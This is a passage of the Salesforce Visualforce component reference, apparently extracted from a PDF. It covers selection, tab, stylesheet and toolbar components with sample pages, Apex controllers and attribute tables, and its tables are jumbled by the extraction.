Description Descriptive text for the page that displays just under the colored title bar. The URL for the page's help le. When this value is specied, a Help for this Page link automatically appears on the right side of the colored title bar. An identier that allows the sectionHeader component to be referenced by other components in the page. The URL for the printable view. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. The text displayed just under the main title in the colored title bar.
String String
id printUrl rendered
global
global
subtitle
String
10.0
global
327
apex:selectCheckboxes
Description The text displayed at the top of the colored title bar.
String
apex:selectCheckboxes
A set of related checkbox input elements, displayed in a table.
Example
<!-- Page: --> <apex:page controller="sampleCon"> <apex:form> <apex:selectCheckboxes value="{!countries}"> <apex:selectOptions value="{!items}"/> </apex:selectCheckboxes><br/> <apex:commandButton value="Test" action="{!test}" rerender="out" status="status"/> </apex:form> <apex:outputPanel id="out"> <apex:actionstatus id="status" startText="testing..."> <apex:facet name="stop"> <apex:outputPanel> <p>You have selected:</p> <apex:dataList value="{!countries}" var="c">{!c}</apex:dataList> </apex:outputPanel> </apex:facet> </apex:actionstatus> </apex:outputPanel> </apex:page> /*** Controller: ***/ public class sampleCon { String[] countries = new String[]{}; public PageReference test() { return null; } public List<SelectOption> getItems() { List<SelectOption> options = new List<SelectOption>(); options.add(new SelectOption('US','US')); options.add(new SelectOption('CANADA','Canada')); options.add(new SelectOption('MEXICO','Mexico')); return options; } public String[] getCountries() { return countries; } public void setCountries(String[] countries) { this.countries = countries; } }
328
apex:selectCheckboxes
Attributes
Attribute Name Attribute Type
accesskey
Description The keyboard access key that puts the selectCheckboxes component in focus. When the selectCheckboxes component is in focus, users can use the keyboard to select and deselect individual checkbox options. The width of the frame around the rendered HTML table, in pixels. The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or "LTR" (left to right). A Boolean value that species whether the selectCheckboxes component should be displayed in a disabled state. If set to true, the checkboxes appear disabled. If not specied, this value defaults to false. The style class used to display the selectCheckboxes component when the disabled attribute is set to true, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The style class used to display the selectCheckboxes component when the disabled attribute is set to false, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. An identier that allows the selectCheckboxes component to be referenced by other components in the page. A Boolean value that species whether the action associated with this component should happen immediately, without processing any validation rules associated with the elds on the page. If set to true, the action happens immediately and validation rules are skipped. If not specied, this value defaults to false. The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specications. The method by which checkboxes should be displayed in the table. Possible values include "lineDirection", in which checkboxes are placed horizontally, or "pageDirection", in which checkboxes are placed vertically. If not specied, this value defaults to "lineDirection". The JavaScript invoked if the onblur event occurs--that is, if the focus moves off of the selectCheckboxes component.
String
border dir
Integer String
10.0 10.0
global global
disabled
Boolean
10.0
global
disabledClass String
10.0
global
enabledClass
String
10.0
global
id immediate
String Boolean
10.0 11.0
global global
lang
String
10.0
global
layout
String
10.0
global
onblur
String
10.0
global
329
apex:selectCheckboxes
Description The JavaScript invoked if the onchange event occurs--that is, if the value of any checkbox in the selectCheckboxes component changes. The JavaScript invoked if the onclick event occurs--that is, if the user clicks the selectCheckboxes component. The JavaScript invoked if the onclick event occurs--that is, if the user clicks the selectCheckboxes component twice. The JavaScript invoked if the onfocus event occurs--that is, if the focus is on the selectCheckboxes component. The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key. The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key. The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key. The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button. The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer. The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the selectCheckboxes component. The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the selectCheckboxes component. The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button. The JavaScript invoked if the onselect event occurs--that is, if the user selects a checkbox in the selectCheckboxes component. A Boolean value that species whether this selectCheckboxes component is rendered as read-only. If set to true, the checkbox values cannot be changed. If not selected, this value defaults to false. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. A Boolean value that species whether this selectCheckboxes component is a required eld. If set to
String
onclick ondblclick
String String
10.0 10.0
global global
onmouseover
String
10.0
global
onmouseup onselect
String String
10.0 10.0
global global
readonly
Boolean
10.0
global
rendered
Boolean
10.0
global
required
Boolean
10.0
global
330
apex:selectList
Description true, the user must select one or more of these checkboxes. If not selected, this value defaults to false.
style styleClass
String String
The style used to display the selectCheckboxes component, used primarily for adding inline CSS styles. The style class used to display the selectCheckboxes component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The order in which this selectCheckboxes component is selected compared to other page components when a user presses the Tab key repeatedly. This value must be an integer between 0 and 32767, with component 0 being the rst component that is selected when a user presses the Tab key. The text to display as a tooltip when the user's mouse pointer hovers over this component. A merge eld that references the controller class variable that is associated with this selectCheckboxes component. For example, if the name of the associated variable in the controller class is myCheckboxSelections use value="{!myCheckboxSelections}" to reference the variable.
10.0 10.0
global global
tabindex
String
10.0
global
title value
String Object
10.0 10.0
global global
apex:selectList
A list of options that allows users to select only one value or multiple values at a time, depending on the value of its multiselect attribute.
Example
<!-- Page: --> <apex:page controller="sampleCon"> <apex:form> <apex:selectList value="{!countries}" multiselect="true"> <apex:selectOptions value="{!items}"/> </apex:selectList><p/> <apex:commandButton value="Test" action="{!test}" rerender="out" status="status"/> </apex:form> <apex:outputPanel id="out"> <apex:actionstatus id="status" startText="testing..."> <apex:facet name="stop"> <apex:outputPanel> <p>You have selected:</p> <apex:dataList value="{!countries}" var="c">{!c}</apex:dataList> </apex:outputPanel> </apex:facet> </apex:actionstatus>
331
apex:selectList
</apex:outputPanel> </apex:page> /*** Controller: ***/ public class sampleCon { String[] countries = new String[]{}; public PageReference test() { return null; } public List<SelectOption> getItems() { List<SelectOption> options = new List<SelectOption>(); options.add(new SelectOption('US','US')); options.add(new SelectOption('CANADA','Canada')); options.add(new SelectOption('MEXICO','Mexico')); return options; } public String[] getCountries() { return countries; } public void setCountries(String[] countries) { this.countries = countries; } }
Attributes
Attribute Name Attribute Type
accesskey
Description The keyboard access key that puts the selectList in focus. When the selectList is in focus, a user can select or deselect list options. The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or "LTR" (left to right). A Boolean value that species whether this selectList should be displayed in a disabled state. If set to true, the selectList appears disabled. If not specied, this value defaults to false. The style class used to display the selectList component when the disabled attribute is set to true, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The style class used to display the selectList component when the disabled attribute is set to false, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. An identier that allows the selectList component to be referenced by other components in the page. The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specications.
String
dir
String
10.0
global
disabled
Boolean
10.0
global
disabledClass String
10.0
global
enabledClass
String
10.0
global
id lang
String String
10.0 10.0
global global
332
apex:selectList
Description A Boolean value that species whether users can select more than one option as a time from this selectList. If set to true, users can select more than one option at a time. If not specied, this value defaults to false. If multiselect is true, the value attribute must be of type String[] or a List of strings. Otherwise, it must be of type String. The JavaScript invoked if the onblur event occurs--that is, if the focus moves off of the selectList component. The JavaScript invoked if the onchange event occurs--that is, if the value of the selectList component changes. The JavaScript invoked if the onclick event occurs--that is, if the user clicks the selectList component. The JavaScript invoked if the onclick event occurs--that is, if the user clicks the selectList component twice. The JavaScript invoked if the onfocus event occurs--that is, if the focus is on the selectList component. The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key. The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key. The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key. The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button. The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer. The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the selectList component. The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the selectList component. The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button. The JavaScript invoked if the onselect event occurs--that is, if the user selects an option in the selectList component. A Boolean value that species whether this selectList component is rendered as read-only. If set to true, the
Boolean
onmouseover
String
10.0
global
onmouseup onselect
String String
10.0 10.0
global global
readonly
Boolean
10.0
global
333
apex:selectOption
Description list option selections cannot be changed. If not selected, this value defaults to false.
rendered
Boolean
A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. A Boolean value that species whether this selectList component is a required eld. If set to true, the user must select at least one list option. If not selected, this value defaults to false. The number of selectList options displayed at one time. If this number is less than the total number of options, a scroll bar is displayed in the selectList. If not specied, all available options are displayed. The style used to display the selectList component, used primarily for adding inline CSS styles. The style class used to display the selectList component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The order in which this selectList component is selected compared to other page components when a user presses the Tab key repeatedly. This value must be an integer between 0 and 32767, with component 0 being the rst component that is selected when a user presses the Tab key. The text to display as a tooltip when the user's mouse pointer hovers over this component. A merge eld that references the controller class variable that is associated with this selectList. For example, if the name of the associated variable in the controller class is myListSelections, use value="{!myListSelections}" to reference the variable. If multiselect is true, the value attribute must be of type String[] or a List of strings. Otherwise, it must be of type String.
10.0
global
required
Boolean
10.0
global
size
Integer
10.0
global
style styleClass
String String
10.0 10.0
global global
tabindex
String
10.0
global
title value
String String
10.0 10.0
global global
apex:selectOption
A possible value for an <apex:selectCheckboxes> or <apex:selectList> component.The <apex:selectOption> component must be a child of one of those components.
Example
<!-- Page: --> <apex:page controller="chooseColor">
334
apex:selectOption
<apex:form> <apex:selectList id="chooseColor" value="{!string}" size="1"> <apex:selectOption itemValue="red" itemLabel="Red"/> <apex:selectOption itemValue="white" itemLabel="White"/> <apex:selectOption itemValue="blue" itemLabel="Blue"/> </apex:selectList> </apex:form> </apex:page> /*** Controller ***/ public class chooseColor { String s = 'blue'; public String getString() { return s; } public void setString(String s) { this.s = s; } }
Attributes
Attribute Name Attribute Type
dir
Description The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or "LTR" (left to right). An identier that allows the selectOption component to be referenced by other components in the page. A description of the selectOption component, for use in development tools. A Boolean value that species whether the selectOption component should be displayed in a disabled state. If set to true, the option appears disabled. If not specied, this value defaults to false. A Boolean value that species whether sensitive HTML and XML characters should be escaped in the HTML output generated by this component. If not specied, this value defaults to true. For example, the only way to add a ">" symbol to a label is by using the symbol's escape sequence and setting itemEscaped="false". If you do not specify itemEscaped="false", the character escape sequence displays as written. The label used to display this option to users.
String
id
String
Boolean
itemEscaped
Boolean
10.0
global
itemLabel
String
10.0
global
335
apex:selectOption
Description The value sent to the server if this option is selected by the user. The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specications. The JavaScript invoked if the onclick event occurs--that is, if the user clicks the selectOption component. The JavaScript invoked if the onclick event occurs--that is, if the user clicks the selectOption component twice. The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key. The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key. The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key. The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button. The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer. The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the selectOption. The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the selectOption. The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. This attribute was deprecated in Salesforce API version 17.0 and has no effect on the page. This attribute was deprecated in Salesforce API version 17.0 and has no effect on the page. The text to display as a tooltip when the user's mouse pointer hovers over this component. A merge eld that references the controller class variable of type SelectItem that is associated with this selectOption component. For example, if the name of the associated variable in the controller class is myOption, use value="{!myOption}" to reference the variable.
Object String
onmouseover
String
10.0
global
onmouseup rendered
String Boolean
10.0 10.0
global global
336
apex:selectOptions
apex:selectOptions
A collection of possible values for an <apex:selectCheckBoxes>, <apex:selectRadio>, or <apex:selectList> component. An <apex:selectOptions> component must be a child of one of those components. It must also be bound to a collection of selectOption objects in a custom Visualforce controller.
Example
<!-- Page: --> <apex:page controller="sampleCon"> <apex:form> <apex:selectCheckboxes value="{!countries}" title="Choose a country"> <apex:selectOptions value="{!items}"/> </apex:selectCheckboxes><br/> <apex:commandButton value="Test" action="{!test}" rerender="out" status="status"/> </apex:form> <apex:outputPanel id="out"> <apex:actionstatus id="status" startText="testing..."> <apex:facet name="stop"> <apex:outputPanel> <p>You have selected:</p> <apex:dataList value="{!countries}" var="c">a:{!c}</apex:dataList> </apex:outputPanel> </apex:facet> </apex:actionstatus> </apex:outputPanel> </apex:page> /*** Controller: ***/ public class sampleCon { String[] countries = new String[]{}; public PageReference test() { return null; } public List<SelectOption> getItems() { List<SelectOption> options = new List<SelectOption>(); options.add(new SelectOption('US','US')); options.add(new SelectOption('CANADA','Canada')); options.add(new SelectOption('MEXICO','Mexico')); return options; } public String[] getCountries() { return countries; } public void setCountries(String[] countries) { this.countries = countries; } }
337
apex:selectRadio
Attributes
Attribute Name Attribute Type
id rendered
Description An identier that allows the selectOptions component to be referenced by other components in the page. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true.
String Boolean
value
Object
A merge eld that references the controller class collection Yes variable of type SelectItem that is associated with this selectOptions component. For example, if the name of the associated variable in the controller class is mySetOfOptions, use value="{!mySetOfOptions}" to reference the variable.
10.0
global
apex:selectRadio
A set of related radio button input elements, displayed in a table. Unlike checkboxes, only one radio button can ever be selected at a time.
Example
<!-- Page: --> <apex:page controller="sampleCon"> <apex:form> <apex:selectRadio value="{!country}"> <apex:selectOptions value="{!items}"/> </apex:selectRadio><p/> <apex:commandButton value="Test" action="{!test}" rerender="out" status="status"/> </apex:form> <apex:outputPanel id="out"> <apex:actionstatus id="status" startText="testing..."> <apex:facet name="stop"> <apex:outputPanel> <p>You have selected:</p> <apex:outputText value="{!country}"/> </apex:outputPanel> </apex:facet> </apex:actionstatus> </apex:outputPanel> </apex:page> /*** Controller ***/ public class sampleCon { String country = null; public PageReference test() { return null; } public List<SelectOption> getItems() { List<SelectOption> options = new List<SelectOption>(); options.add(new SelectOption('US','US'));
338
apex:selectRadio
options.add(new SelectOption('CANADA','Canada')); options.add(new SelectOption('MEXICO','Mexico')); return options; } public String getCountry() { return country; } public void setCountry(String country) { this.country = country; } }
Attributes
Attribute Name Attribute Type
accesskey
Description The keyboard access key that puts the radio buttons in focus. When the radio buttons are in focus, a user can select or deselect a radio button value. The width of the frame around the rendered HTML table, in pixels. The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or "LTR" (left to right). A Boolean value that species whether the selectRadio component should be displayed in a disabled state. If set to true, the radio buttons appear disabled. If not specied, this value defaults to false. The style class used to display the selectRadio component when the disabled attribute is set to true, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The style class used to display the selectRadio component when the disabled attribute is set to false, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. An identier that allows the selectRadio component to be referenced by other components in the page. A Boolean value that species whether the action associated with this component should happen immediately, without processing any validation rules associated with the elds on the page. If set to true, the action happens immediately and validation rules are skipped. If not specied, this value defaults to false. The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specications. The method by which radio buttons should be displayed in the table. Possible values include "lineDirection", in which radio buttons are placed horizontally, or
String
border dir
Integer String
10.0 10.0
global global
disabled
Boolean
10.0
global
disabledClass String
10.0
global
enabledClass
String
10.0
global
id immediate
String Boolean
10.0 11.0
global global
lang
String
10.0
global
layout
String
10.0
global
339
apex:selectRadio
Description "pageDirection", in which radio buttons are placed vertically. If not specied, this value defaults to "lineDirection".
onblur onchange
String String
The JavaScript invoked if the onblur event occurs--that is, if the focus moves off of the selectRadio component. The JavaScript invoked if the onchange event occurs--that is, if the value of any radio button in the selectRadio component changes. The JavaScript invoked if the onclick event occurs--that is, if the user clicks the selectRadio component. The JavaScript invoked if the onclick event occurs--that is, if the user clicks the selectRadio component twice. The JavaScript invoked if the onfocus event occurs--that is, if the focus is on the selectRadio component. The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key. The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key. The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key. The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button. The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer. The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the selectRadio component. The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the selectRadio component. The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button. The JavaScript invoked if the onselect event occurs--that is, if the user selects a radio button in the selectRadio component. A Boolean value that species whether this selectRadio component is rendered as read-only. If set to true, the selected radio button is unchangeable. If not selected, this value defaults to false, and the selected radio button can be changed.
10.0 10.0
global global
onmouseover
String
10.0
global
onmouseup onselect
String String
10.0 10.0
global global
readonly
Boolean
10.0
global
340
apex:stylesheet
Description A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. A Boolean value that species whether this selectRadio component is a required eld. If set to true, the user must select a radio button. If not selected, this value defaults to false. The CSS style used to display the selectRadio component, used primarily for adding inline CSS styles. The style class used to display the selectRadio component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The order in which this selectRadio component is selected compared to other page components when a user presses the Tab key repeatedly. This value must be an integer between 0 and 32767, with component 0 being the rst component that is selected when a user presses the Tab key. The text to display as a tooltip when the user's mouse pointer hovers over this component. A merge eld that references the controller class variable that is associated with this selectRadio component. For example, if the name of the associated variable in the controller class is myRadioButtonSelection use value="{!myRadioButtonSelection}" to reference the variable.
Boolean
required
Boolean
10.0
global
style styleClass
String String
10.0 10.0
global global
tabindex
String
10.0
global
title value
String Object
10.0 10.0
global global
apex:stylesheet
A link to a stylesheet that can be used to style components on the Visualforce page. When specied, this component injects the stylesheet reference into the head element of the generated HTML page.
Example
<apex:stylesheet value="/resources/htdocs/css/basic.css"/>
341
apex:tab
Attributes
Attribute Name Attribute Type
id value
Description An identier that allows other components in the page to reference the stylesheet component.
String Object
The URL to the style sheet le. Note that this can be a Yes reference to a static resource.
apex:tab
A single tab in an <apex:tabPanel>. The <apex:tab> component must be a child of a <apex:tabPanel>.
Example
<!-- Page: --> <apex:page id="thePage"> <apex:tabPanel switchType="client" selectedTab="name2" id="theTabPanel"> <apex:tab label="One" name="name1" id="tabOne">content for tab one</apex:tab> <apex:tab label="Two" name="name2" id="tabTwo">content for tab two</apex:tab> </apex:tabPanel> </apex:page>
Attributes
Attribute Name Attribute Type
disabled
Description A Boolean value that species whether the tab can be selected and viewed. If set to true, the tab cannot be selected. If not specied, this value defaults to false. The ID of the child component in focus when the tab content is displayed. An identier that allows the tab component to be referenced by other components in the page. A Boolean value that species whether the action associated with this component happens immediately, without processing any validation rules associated with the elds on the page. If set to true, the action happens immediately and validation rules are skipped. If not specied, this value defaults to false. The text to display in the tab header.
Boolean
focus id immediate
label
String
10.0
global
342
apex:tab
Description The length of the tab header, in pixels. If not specied, this value defaults to the width of label text. The name of the tab. Use the value of this attribute to specify the default selected tab for the tabPanel. The JavaScript invoked if the onclick event occurs--that is, if the user clicks the tab. The JavaScript invoked if the oncomplete event occurs--that is, when the tab has been selected and its content rendered on the page. The JavaScript invoked if the onclick event occurs--that is, if the user clicks the tab twice. The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key. The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key. The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key. The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button. The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer. The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the tab. The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the tab. The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button. The JavaScript invoked if the ontabenter event occurs--that is, if a tab component becomes in focus. The JavaScript invoked if the ontableave event occurs--that is, if a component outside the tab becomes in focus. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. The ID of one or more components to redraw when the result of an AJAX update request returns to the client. This value can be a single id, a comma-separated list of ids, or a merge eld expression for a list or collection of
Required? API Access Version 10.0 10.0 10.0 10.0 global global global global
onmouseover
String
10.0
global
rendered
Boolean
10.0
global
reRender
Object
10.0
global
343
apex:tabPanel
Description ids. This value is also only applicable when the value of the switchType attribute is "ajax".
status
String
The ID of an associated component that displays the status of an AJAX update request. See the actionStatus component. Note that this value is only applicable when the value of the switchType attribute is set to "ajax". The style used to display all portions of the tab component, used primarily for adding inline CSS styles. The CSS style class used to display all portions of the tab component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The implementation method for switching to this tab. Possible values include "client", "server", and "ajax". If not specied, this value defaults to "server". If specied, this value overrides the switchTab attribute on the tabPanel component. The amount of time (in milliseconds) before an AJAX update request should time out. Note that this value is only applicable when the value of the switchType attribute is set to "ajax". The text to display as a tooltip when the user's mouse pointer hovers over this component.
10.0
global
style styleClass
String String
10.0 10.0
global global
switchType
String
10.0
global
timeout
Integer
10.0
global
title
String
10.0
global
apex:tabPanel
A page area that displays as a set of tabs. When a user clicks a tab header, the tab's associated content displays, hiding the content of other tabs.
Simple Example
<!-- Page: --> <apex:page id="thePage"> <apex:tabPanel switchType="client" selectedTab="name2" id="theTabPanel"> <apex:tab label="One" name="name1" id="tabOne">content for tab one</apex:tab> <apex:tab label="Two" name="name2" id="tabTwo">content for tab two</apex:tab> </apex:tabPanel> </apex:page>
Advanced Example
<!-- For this example to render properly, you must associate the Visualforce page with a valid account record in the URL. For example, if 001D000000IRt53 is the account ID, the resulting URL should be: https://Salesforce_instance/apex/myPage?id=001D000000IRt53 See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
344
apex:tabPanel
<!-- This example shows how to use the tabClass and inactiveTabClass attributes to change the default styling of the tab bar. Note that in the style definitions, 'background-image:none' is required to override the default image with the specified color. You can also provide your own image with .css styles. --> <apex:page standardController="Account" showHeader="true"> <!-- Define Tab panel .css styles --> <style> .activeTab {background-color: #236FBD; color:white; background-image:none} .inactiveTab { background-color: lightgrey; color:black; background-image:none} </style> <!-- Create Tab panel --> <apex:tabPanel switchType="client" selectedTab="name2" id="AccountTabPanel" tabClass='activeTab' inactiveTabClass='inactiveTab'> <apex:tab label="One" name="name1" id="tabOne">content for tab one</apex:tab> <apex:tab label="Two" name="name2" id="tabTwo">content for tab two</apex:tab> </apex:tabPanel> </apex:page>
Attributes
Attribute Name Attribute Type
activeTabClass String
Description The style class used to display a tab header in the tabPanel when it is selected, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The style class used to display tab content in the tabPanel component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The style used to display tab content in the tabPanel component, used primarily for adding inline CSS styles. The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or "LTR" (left to right). The style class used to display a tab header in the tabPanel when it is disabled, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The side of the tabPanel to which tab headers are aligned. Possible values include "left" or "right". If not specied, this value defaults to "left". The style class used to display all tab headers, regardless of whether or not they are selected, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The distance between two adjacent tab headers, in pixels. If not specied, this value defaults to 0. The height of the tab bar, expressed either as a percentage of the available vertical space (for example, height="50%")
contentClass
String
10.0
global
contentStyle dir
String String
10.0 10.0
global global
disabledTabClass String
10.0
global
headerAlignment String
10.0
global
headerClass
String
11.0
global
10.0 10.0
global global
String
345
apex:tabPanel
Description or as a number of pixels (for example, height="200px"). If not specied, this value defaults to 100%.
id immediate
String Boolean
An identier that allows the tabBar component to be referenced by other components in the page. A Boolean value that species whether the action associated with this component should happen immediately, without processing any validation rules associated with the elds on the page. If set to true, the action happens immediately and validation rules are skipped. If not specied, this value defaults to false. The style class used to display a tab header in the tabPanel when it is not selected, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specications. The JavaScript invoked if the onclick event occurs--that is, if the user clicks the tabPanel. The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the tabPanel twice. The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key. The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key. The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key. The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button. The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer. The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the tabPanel component. The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the tabPanel component. The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button.
10.0 11.0
global global
inactiveTabClass String
10.0
global
lang
String
10.0
global
onmouseover
String
10.0
global
onmouseup
String
10.0
global
346
apex:toolbar
Description A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. The ID of one or more components that are redrawn when the result of an AJAX update request returns to the client. This value can be a single ID, a comma-separated list of IDs, or a merge eld expression for a list or collection of IDs. Note that this value only applies when the switchType attribute is set to "ajax". The name of the default selected tab when the page loads. This value must match the name attribute on a child tab component. If the value attribute is dened, the selectedTab attribute is ignored. The style used to display the tabPanel component, used primarily for adding inline CSS styles. The style class used to display the tabPanel component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The implementation method for switching between tabs. Possible values include "client", "server", and "ajax". If not specied, this value defaults to "server". The style class used to display the tabPanel component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The text to display as a tooltip when the user's mouse pointer hovers over this component. The current active tab. You can specify this with an expression to dynamically control the active tab. For example, value="{!TabInFocus}", where TabInFocus is a variable set by a custom controller. The value of this attribute overrides the one set in selectedTab. The width of the tabPanel, expressed either as a percentage of the available horizontal space (for example, width="50%") or as a number of pixels (for example, width="800px"). If not specied, this value defaults to 100%.
Boolean
reRender
Object
10.0
global
selectedTab
Object
10.0
global
style styleClass
String String
10.0 10.0
global global
switchType
String
10.0
global
tabClass
String
10.0
global
title value
String Object
10.0 10.0
global global
width
String
10.0
global
apex:toolbar
A stylized, horizontal toolbar that can contain any number of child components. By default, all child components are aligned to the left side of the toolbar. Use an <apex:toolbarGroup> component to align one or more child components to the right.
347
apex:toolbar
Example
<!-- Page: sampleToolbar--> <apex:page id="thePage"> <!-- A simple example of a toolbar --> <apex:toolbar id="theToolbar"> <apex:outputText value="Sample Toolbar"/> <apex:toolbarGroup itemSeparator="line" id="toobarGroupLinks"> <apex:outputLink value="http://www.salesforce.com"> salesforce </apex:outputLink> <apex:outputLink value="http://developer.salesforce.com"> apex developer network </apex:outputLink> </apex:toolbarGroup> <apex:toolbarGroup itemSeparator="line" location="right" id="toobarGroupForm"> <apex:form id="theForm"> <apex:inputText id="theInputText">Enter Text</apex:inputText> <apex:commandLink value="search" id="theCommandLink"/> </apex:form> </apex:toolbarGroup> </apex:toolbar> </apex:page>
<!-- Page: toolBarEvents--> <apex:page id="anotherPage"> <!-- A simple toolbar that includes toolbar events. <apex:pageMessages/> <apex:form> <apex:toolbar onclick="alert('You clicked the mouse button on a component in the toolbar.')" onkeydown="alert('You pressed a keyboard key in a component in the toolbar.')" onitemclick="alert('You clicked the mouse button on a component that is ' + 'not in a toolbarGroup.')" onitemkeydown="alert('You pressed a keyboard key in a component that is ' + -->
348
apex:toolbar
'not in a toolbarGroup.')"> <apex:inputText/> Click outside of a toolbargroup <apex:toolbarGroup><apex:inputText/>Click in a toolbarGroup</apex:toolbarGroup> </apex:toolbar> </apex:form> </apex:page>
Attributes
Attribute Name Attribute Type
contentClass
Description The style class used to display each child component in the toolbar, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The style used to display each child component in the toolbar, used primarily for adding inline CSS styles. The height of the toolbar, expressed as a relative percentage of the total height of the screen (for example, height="5%") or as an absolute number of pixels (for example, height="10px"). If not specied, this value defaults to the height of the tallest component. An identier that allows the toolbar component to be referenced by other components in the page. The symbol used to separate toolbar components. Possible values include "none", "line", "square", "disc", and "grid". If not specied, this value defaults to "none". The JavaScript invoked if the onclick event occurs--that is, if the user clicks the toolbar. The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the toolbar twice. The JavaScript invoked if the user clicks on a component in the toolbar that is not in a toolbarGroup component. The JavaScript invoked if the user clicks twice on a component in the toolbar that is not in a toolbarGroup component. The JavaScript invoked if the user presses a keyboard key on a component in the toolbar that is not in a toolbarGroup component. The JavaScript invoked if the user presses or holds down a keyboard key on an item in the toolbar that is not in a toolbarGroup component.
String
contentStyle height
String String
10.0 10.0
global global
id
String
10.0 10.0
global global
itemSeparator String
onitemdblclick String
onitemkeydown String
16.0
onitemkeypress String
16.0
349
apex:toolbar
